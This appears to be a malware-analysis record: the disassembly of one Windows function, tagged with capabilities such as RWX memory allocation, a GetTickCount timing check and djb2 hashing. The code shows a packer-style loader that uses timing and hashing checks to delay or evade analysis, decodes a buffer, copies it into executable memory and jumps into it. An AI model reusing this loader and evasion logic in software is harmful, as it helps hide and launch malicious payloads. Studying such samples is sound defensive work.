Function at 0x4022e6
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push esi
push edi
mov dword [ebp - 4], 0x465588
mov eax, dword [0x4e5588]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x50], 1
mov eax, dword [ebp - 4]
mov dword [ebp - 0x40], eax
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 0x44], eax
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 0x48], eax
and dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x44]
cmp eax, 0x64
jae 0x40247a
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
and dword [ebp - 0x68], 0
jmp 0x402347
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x40246d
mov dword [ebp - 0x84], 0x1505
and dword [ebp - 0x88], 0
jmp 0x402371
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0xb4]
jae 0x4023a4
mov eax, dword [ebp - 0x84]
shl eax, 5
add eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x88]
movzx ecx, byte [ecx]
add eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x402364
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], 0x45872367
and dword [ebp - 0x7c], 0
jmp 0x4023c1
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x1984
jge 0x402422
mov dword [ebp - 0x8c], 0x1505
and dword [ebp - 0x90], 0
jmp 0x4023ea
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jae 0x402417
mov eax, dword [ebp - 0x8c]
shl eax, 5
add eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x90]
movzx ecx, byte [ebp + ecx - 0x74]
add eax, ecx
mov dword [ebp - 0x8c], eax
jmp 0x4023dd
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x74], eax
jmp 0x4023ba
cmp dword [ebp - 0x74], 0x7ccf27b6
je 0x402433
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
jmp 0x402468
and dword [ebp - 0x80], 0
jmp 0x402440
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xb4]
jae 0x402462
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x80]
mov al, byte [eax]
mov cl, byte [ebp - 0x78]
shr al, cl
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x80]
mov byte [ecx], al
jmp 0x402439
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
jmp 0x402340
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 0x48], eax
jmp 0x402324
mov dword [ebp - 0x58], 8
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0xd0], eax
and dword [ebp - 0xcc], 0
fild qword [ebp - 0xd0]
fmul qword [0x4598f0]
fdiv qword [0x4598e8]
fstp qword [ebp - 0x64]
mov eax, dword [ebp - 0x54]
shl eax, 3
mov dword [ebp - 0xd4], eax
fild dword [ebp - 0xd4]
fdiv qword [ebp - 0x64]
call fcn.00449cc0
inc eax
mov dword [ebp - 0x4c], eax
and dword [ebp - 0x6c], 0
jmp 0x4024dd
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x4c]
jge 0x402659
and dword [ebp - 0x70], 0
jmp 0x4024f6
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x40264c
mov dword [ebp - 0xa4], 0x1505
and dword [ebp - 0xa8], 0
jmp 0x402520
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0xb4]
jae 0x402553
mov eax, dword [ebp - 0xa4]
shl eax, 5
add eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0xa8]
movzx ecx, byte [ecx]
add eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x402513
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], 0x45872367
and dword [ebp - 0x9c], 0
jmp 0x40257f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x1984
jge 0x4025e9
mov dword [ebp - 0xac], 0x1505
and dword [ebp - 0xb0], 0
jmp 0x4025ab
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 4
jae 0x4025db
mov eax, dword [ebp - 0xac]
shl eax, 5
add eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xb0]
movzx ecx, byte [ebp + ecx - 0x94]
add eax, ecx
mov dword [ebp - 0xac], eax
jmp 0x40259e
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x94], eax
jmp 0x402572
cmp dword [ebp - 0x94], 0x7ccf27b6
je 0x4025fd
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
jmp 0x402647
and dword [ebp - 0xa0], 0
jmp 0x402613
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xb4]
jae 0x402641
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0xa0]
mov al, byte [eax]
mov cl, byte [ebp - 0x98]
shr al, cl
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0xa0]
mov byte [ecx], al
jmp 0x402606
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
jmp 0x4024ef
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4024d6
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], eax
and dword [ebp - 0xc4], 0
mov eax, dword [0x4e5588]
dec eax
cmp dword [ebp - 0xc4], eax
jae 0x4026e6
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc4]
movzx eax, byte [eax]
test eax, eax
jne 0x4026b6
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc4]
movzx eax, byte [eax + 1]
cdq
push 5
pop ecx
idiv ecx
test edx, edx
jne 0x4026ab
mov eax, dword [ebp - 0xc4]
inc eax
inc eax
mov dword [ebp - 0xc4], eax
jmp 0x4026b4
mov byte [ebp - 0xc5], 0
jmp 0x4026ed
jmp 0x4026e4
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc4]
movzx eax, byte [eax]
cdq
push 5
pop ecx
idiv ecx
test edx, edx
jne 0x4026d7
mov byte [ebp - 0xc5], 0
jmp 0x4026ed
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
jmp 0x402666
mov byte [ebp - 0xc5], 1
movzx eax, byte [ebp - 0xc5]
test eax, eax
jne 0x402703
mov eax, dword [ebp - 4]
mov dword [ebp - 4], eax
jmp 0x4027c4
and dword [ebp - 0xbc], 0
push dword [0x4e5588]
call fcn.00424f00
pop ecx
mov dword [ebp - 0xb8], eax
and dword [ebp - 0xc0], 0
jmp 0x402732
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [0x4e5588]
jae 0x4027b0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc0]
movzx eax, byte [eax]
test eax, eax
jne 0x402785
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc0]
mov cl, byte [ecx]
mov byte [eax], cl
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
jmp 0x4027ab
mov eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc0]
mov cl, byte [ecx]
mov byte [eax], cl
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
jmp 0x402725
mov eax, dword [ebp - 0xbc]
mov dword [0x4e5588], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 4], eax
lea esi, [ebp - 0x28]
mov eax, dword [ebp - 4]
call fcn.00402130
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], 4
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
lea edi, [ebp - 0x20]
lea ecx, [ebp - 0x18]
mov esi, dword [ebp - 4]
call fcn.00423ec0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
add eax, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 4]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cdq
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], edx
lea eax, [ebp - 0xc]
push eax
push 0x40
mov eax, dword [ebp - 0x24]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x24]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov eax, dword [eax + 0x14]
or eax, dword [ecx + 0x18]
jne 0x402882
call fcn.00403a58
jmp 0x4028b3
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cdq
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov dword [ecx + 4], edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cdq
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], edx
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x34]
call fcn.004247f0
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov dword [eax + 0xc], 0xf000d00d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 4], 0xae0ebbbb
mov eax, dword [ebp - 0x34]
add eax, 0xf
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
or dword [eax + 0x18], 0xffffffff
mov esi, dword [0x4ef828]
mov esp, dword [0x4ef814]
mov edx, dword [0x4ef824]
mov edi, dword [0x4ef82c]
mov ecx, dword [0x4ef820]
mov eax, dword [ebp - 0x30]
mov ebp, dword [0x4ef81c]
jmp eax